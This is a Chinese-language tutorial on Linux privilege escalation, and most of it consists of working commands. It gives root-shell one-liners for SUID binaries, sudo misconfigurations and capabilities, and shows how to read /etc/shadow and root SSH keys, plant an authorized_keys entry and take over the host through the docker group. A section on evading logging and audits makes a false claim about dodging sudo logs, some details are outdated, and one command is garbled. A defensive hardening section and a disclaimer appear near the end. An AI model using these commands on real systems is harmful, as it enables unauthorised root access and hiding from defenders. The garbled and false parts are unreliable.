【教程】Linux提权实战:SUID/Sudo/Capabilities/Docker组提权
适合人群:渗透测试初学者、CTF选手、有基本Linux命令行基础的安全爱好者
前置知识:Linux文件权限基础、用户和组概念、基本的bash命令
实验环境:Ubuntu 22.04 LTS虚拟机(建议在隔离环境中测试)
一、前置准备
1.1 靶场搭建
# 创建测试用户
useradd -m lowpriv
echo "lowpriv:password" | chpasswd
# 切换到低权限用户
su - lowpriv
# 验证当前用户
whoami
# → lowpriv
1.2 工具准备
# 信息收集脚本(一键获取提权线索)
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
# 或轻量级脚本
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
# 内核漏洞检测
wget https://raw.githubusercontent.com/its-arun/CVE-2023-3269/main/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
二、核心原理
Linux提权(Privilege Escalation)的本质是:从低权限用户,利用系统配置缺陷或漏洞,获得更高权限(通常是root)的过程。
提权路径概览
低权限用户 (www-data / lowpriv)
│
├── 🔴 SUID 二进制 → 以文件所有者权限执行
├── 🔴 Sudo 配置缺陷 → 以root执行特定命令
├── 🔴 Capabilities → 细粒度特权限定
├── 🔴 Docker 组成员 → 等价于root
├── 🟠 内核漏洞 → 直接提权至root
└── 🟠 Cron 任务 → 定时任务劫持
四种核心提权方式的原理对比
| 方式 | 原理 | 利用难度 | 常见程度 |
|---|---|---|---|
| SUID | 二进制文件的 s 权限位让普通用户以文件所有者身份运行 | ⭐⭐ | 很高 |
| Sudo | /etc/sudoers 配置不当,允许普通用户用root执行特定命令 | ⭐ | 很高 |
| Capabilities | 二进制文件被赋予超出实际的Linux能力(如CAP_NET_RAW) | ⭐⭐⭐ | 中等 |
| Docker组 | docker组成员可挂载宿主机文件系统到容器 | ⭐ | 较高 |
三、实操步骤
🔴 场景一:SUID 提权(最经典)
Step 1:查找所有SUID二进制
# 查找设置了SUID位的文件
find / -perm -4000 -type f 2>/dev/null
# 更全面的查找
find / -user root -perm -4000 -type f 2>/dev/null
常见存在SUID漏洞的二进制:
| 二进制 | 提权方式 | 利用命令 |
|---|---|---|
nmap | 交互模式执行命令 | nmap --interactive → !sh |
find | -exec 执行任意命令 | find . -exec /bin/sh \; -quit |
vim | 从vim中启动shell | :!sh 或 :python3 import os; os.system('/bin/sh') |
bash | 直接提权 | /bin/bash -p |
less/more | 内部执行命令 | !whoami |
cp | 覆盖passwd等文件 | 复制/etc/passwd并替换root密码 |
python/perl/ruby | 脚本语言执行系统命令 | python3 -c 'import os; os.setuid(0); os.system("/bin/sh")' |
Step 2:利用SUID提权(以find为例)
# 假设 find 设置了 SUID 位
# 查看权限
ls -la /usr/bin/find
# → -rwsr-xr-x ← s 表示 SUID
# 利用 find -exec 执行命令
touch /tmp/test
find /tmp/test -exec whoami \;
# → root ← 以root权限执行了命令
# 提权到 shell
find /tmp/test -exec /bin/sh -p \; -quit
# 或
find /tmp/test -exec python3 -c 'import os;os.setuid(0);os.system("/bin/sh")' \;
Step 3:利用bash SUID提权
# 查看bash是否有SUID
ls -la /bin/bash
# 如果有 s 位(-rwsr-xr-x)
# 用 -p 选项保留SUID权限
/bin/bash -p
whoami
# → root
⚠️ 注意:
-p参数是关键——不加-p,bash会自动丢弃SUID权限恢复到实际用户。
🔴 场景二:Sudo 配置缺陷
Step 1:查看当前用户的sudo权限
# 查看当前用户的sudo权限
sudo -l
# 示例输出:
# User lowpriv may run the following commands on host:
# (root) /usr/bin/vim
# (root) /usr/bin/find
# (root) /usr/sbin/service
Step 2:GTFOBins查询提权方法
GTFOBins(https://gtfobins.github.io/)收录了所有二进制在sudo下的提权方式。
常见sudo提权Payload速查表:
| Sudo允许的命令 | 提权命令 |
|---|---|
sudo vim | :!sh 或 :python3 import os;os.setuid(0);os.system("/bin/sh") |
sudo find | sudo find . -exec /bin/sh \; -quit |
sudo less | !sh |
sudo man | !sh |
sudo awk | sudo awk 'BEGIN{system("/bin/sh")}' |
sudo python3 | sudo python3 -c 'import os;os.setuid(0);os.system("/bin/sh")' |
sudo tcpdump | 用postrotate执行命令(需写临时文件) |
sudo service | sudo service ../../bin/sh |
sudo tar | sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh |
sudo nmap | sudo nmap --interactive → !sh |
sudo git | sudo git -p help → !sh |
sudo socat | sudo socat stdin exec:/bin/sh |
Step 3:实战演示
# 假设 sudo -l 显示可以以root运行 vim
sudo vim -c ':!sh'
# 回车后你就是root了
whoami
# → root
# 或利用 find
sudo find . -exec /bin/sh \; -quit
# → root shell
🟠 场景三:Capabilities 滥用
Step 1:什么是Capabilities?
Linux Capabilities 是将root的超级权限拆分成细粒度能力的机制。某些文件可能被赋予超出需要的capability,导致提权。
Step 2:查找Capabilities设置
# 查找设置了capabilities的文件
getcap -r / 2>/dev/null
# 示例输出:
# /usr/bin/python3.10 = cap_setuid+ep
# /usr/bin/tar = cap_dac_read_search+ep
Step 3:利用Capabilities提权
| Capability | 含义 | 提权方式 |
|---|---|---|
cap_setuid+ep | 允许改变用户ID | python3 -c 'import os;os.setuid(0);os.system("/bin/sh")' |
cap_dac_read_search+ep | 绕过文件读权限检查 | tar cvf /dev/null /root/.ssh/id_rsa → 可读任意文件 |
cap_dac_override+ep | 绕过文件写权限检查 | 可修改任意文件 |
cap_net_raw+ep | 允许原始套接字 | 可用ping扫描内网,或构造TCP包 |
cap_net_admin+ep | 允许网络管理 | 可修改防火墙规则 |
cap_sys_admin+ep | 系统管理能力 | 几乎等价于root |
cap_sys_ptrace+ep | 允许调试进程 | 可注入任意进程 |
实战利用:
# 如果 python3 有 cap_setuid+ep
python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'
whoami
# → root
# 如果 tar 有 cap_dac_read_search+ep(可读任意文件)
tar cvf /dev/null /etc/shadow
tar cvf /dev/null /root/.ssh/id_rsa
🟠 场景四:Docker组提权
Step 1:检查用户是否在docker组
# 检查当前用户所属组
groups
# → lowpriv docker ← 关键!用户在docker组
# 也可以查看
id
# → uid=1001(lowpriv) gid=1001(lowpriv) groups=1001(lowpriv),999(docker)
Step 2:利用docker组提权
# docker组 = root权限,因为docker守护进程以root运行
# 挂载宿主机根目录到容器
docker run -it -v /:/hostroot ubuntu:latest /bin/bash
# 在容器中,/hostroot 就是宿主机的 /
chroot /hostroot /bin/bash
whoami
# → root(宿主机root)
# 或者直接写入SSH密钥
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> /hostroot/root/.ssh/authorized_keys
一行命令提权:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
四、绕过技术(WAF/防御绕过)
4.1 绕过sudo日志记录
# sudo命令通常被记录在 /var/log/auth.log
# 如果只想执行一条命令不留日志,可以用管道绕过
echo 'whoami' | sudo -S /bin/bash # 从stdin读密码
# 利用su而非sudo(如果知道root密码)
su -c "whoami"
4.2 隐藏SUID文件
# 使用隐藏机制
# 在发现SUID文件后,如果管理员用 find -perm 扫描
# 可以用 capacity 替代 SUID(更隐蔽)
setcap cap_setuid+ep /usr/bin/python3.10
# 移除SUID位但保留能力
chmod u-s /usr/bin/python3.10
# 但 getcap 仍然显示能力存在
4.3 绕过命令限制
有些sudo配置限制了参数或通配符:
# 限制:只能运行 /usr/bin/vim /etc/hosts
# 但vim内部可以执行shell命令
sudo vim /etc/hosts
# 在vim中输入 :!sh
五、实战案例复盘
案例:一台被忽略的Ubuntu服务器
场景:获得了一个低权限的www-data shell,目标是要拿到root权限。
Step 1 - 信息收集:
# 上传并运行linpeas
./linpeas.sh | tee linpeas_report.txt
# 发现关键线索:
# [+] SUID - /usr/bin/find
# [+] User lowpriv is in docker group
Step 2 - SUID提权尝试:
# 发现 find 有 SUID
ls -la /usr/bin/find
# -rwsr-xr-x
# 直接提权
touch /tmp/test
find /tmp/test -exec /bin/sh -p \; -quit
whoami
# → root ✓
# 如果 find 不行,走 Docker 组路线
Step 3 - Docker组备选:
# Docker组同样可用
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# → root shell
最终结果:从www-data到root,用了不到1分钟。
六、防御建议
| 防御措施 | 具体操作 | 效果 |
|---|---|---|
| SUID最小化 | find / -perm -4000 -type f 2>/dev/null 审计,移除不必要的SUID | 阻止90%的SUID提权 |
| 移除不必要的SUID | chmod u-s /usr/bin/find /usr/bin/vim /usr/bin/nmap 等 | 消除通用入口 |
| Sudo审计 | 用 visudo 配置原则:只给最精简的命令,禁止通配符 | 防止sudo滥用 |
| Docker组控制 | gpasswd -d username docker,只有运维人员才在docker组 | 消除docker提权路径 |
| Capability审计 | getcap -r / 2>/dev/null 定期审查 | 发现隐藏的能力 |
| 内核更新 | 保持内核最新,使用自动更新 | 防御已知内核漏洞 |
| SELinux/AppArmor | 启用强制访问控制 | 即使提权成功也受限 |
| 审计日志 | auditd 监控SUID/sudo执行 | 快速发现提权行为 |
快速加固脚本
#!/bin/bash
# linux-hardening.sh - 快速移除危险SUID/Sudo/Capability配置
# 移除危险SUID
for binary in find vim nmap python3 python perl ruby bash less more cp mv; do
which $binary 2>/dev/null && chmod u-s $(which $binary) 2>/dev/null
done
# 回收Docker组
for user in $(getent group docker | cut -d: -f4 | tr ',' ' '); do
gpasswd -d $user docker 2>/dev/null
done
# 审计Capabilities
getcap -r / 2>/dev/null > /tmp/capabilities.txt
echo "请审查 /tmp/capabilities.txt 中可疑的能力设置"
七、常见陷阱
| 陷阱 | 说明 | 正确做法 |
|---|---|---|
| bash -p 忘记加 | 有SUID的bash不加-p,权限自动降级 | 必须用 /bin/bash -p |
| SUID检测不全 | 只查了 /usr/bin,遗漏 /opt、/home 等目录 | 用 find / -perm -4000 全盘搜索 |
| sudo -l 不完整 | 以为 sudo -l 显示了全部,但NOPASSWD条目可能隐藏 | 同时检查 /etc/sudoers 和 /etc/sudoers.d/ |
| 只看SUID不看SGID | SGID(组提权)也是入口 | 同时检查 find / -perm -2000 |
| 忽略环境变量劫持 | PATH劫持、LD_PRELOAD等是sudo提权的常见方式 | 检查sudo是否设置了 env_reset |
| Docker需要sudo | 普通用户不在docker组,需要sudo执行docker | 检查 groups 是否包含docker |
| 内核漏洞提权不稳定 | 内核漏洞可能导致系统崩溃或蓝屏 | 优先用配置缺陷提权,内核漏洞放最后 |
八、总结(含速查表)
Linux提权一键检测命令
# 一行命令收集所有提权线索
(find / -perm -4000 -type f 2>/dev/null; echo "===SUDO==="; sudo -l 2>/dev/null; echo "===CAP==="; getcap -r / 2>/dev/null; echo "===DOCKER==="; groups | grep docker; echo "===KERNEL==="; uname -a) | tee /tmp/privesc_check.txt
五步提权方法论
① 信息收集 → 跑linpeas/LinEnum
② 检查SUID → find / -perm -4000
③ 检查Sudo → sudo -l
④ 检查Capabilities → getcap -r /
⑤ 检查组 → groups → docker?
↓
⑥ 查内核漏洞 → linux-exploit-suggester
Payload 速查表
| 提权方式 | 检测命令 | 利用命令 | |
|---|---|---|---|
| SUID find | `find / -perm -4000 2>/dev液ull \ | grep find` | find . -exec /bin/sh -p \; -quit |
| SUID bash | ls -la /bin/bash | /bin/bash -p | |
| SUID nmap | ls -la /usr/bin/nmap | nmap --interactive → !sh | |
| SUID vim | ls -la /usr/bin/vim | vim -c ':!sh' | |
| SUID python | ls -la /usr/bin/python3 | python3 -c 'import os;os.setuid(0);os.system("/bin/sh")' | |
| Sudo任意命令 | sudo -l | 见GTFOBins对应命令 | |
| cap_setuid | `getcap -r / \ | grep cap_setuid` | python3 -c 'import os;os.setuid(0);os.system("/bin/sh")' |
| cap_dac_read | `getcap -r / \ | grep dac_read` | tar cvf /dev/null /etc/shadow |
| Docker组 | `groups \ | grep docker` | docker run -v /:/mnt alpine chroot /mnt sh |
在线资源
- GTFOBins: https://gtfobins.github.io/ — Linux二进制提权大全
- LOLBAS: https://lolbas-project.github.io/ — Windows版(参考)
- PEASS-ng: https://github.com/peass-ng/PEASS-ng — 提权脚本全家桶
- HackTricks: https://book.hacktricks.xyz/linux-hardening/privilege-escalation — 最全的提权Wiki
⚠️ 免责声明:本文仅供安全研究和授权测试使用。未授权对他人系统进行提权操作是违法行为,请遵守法律法规。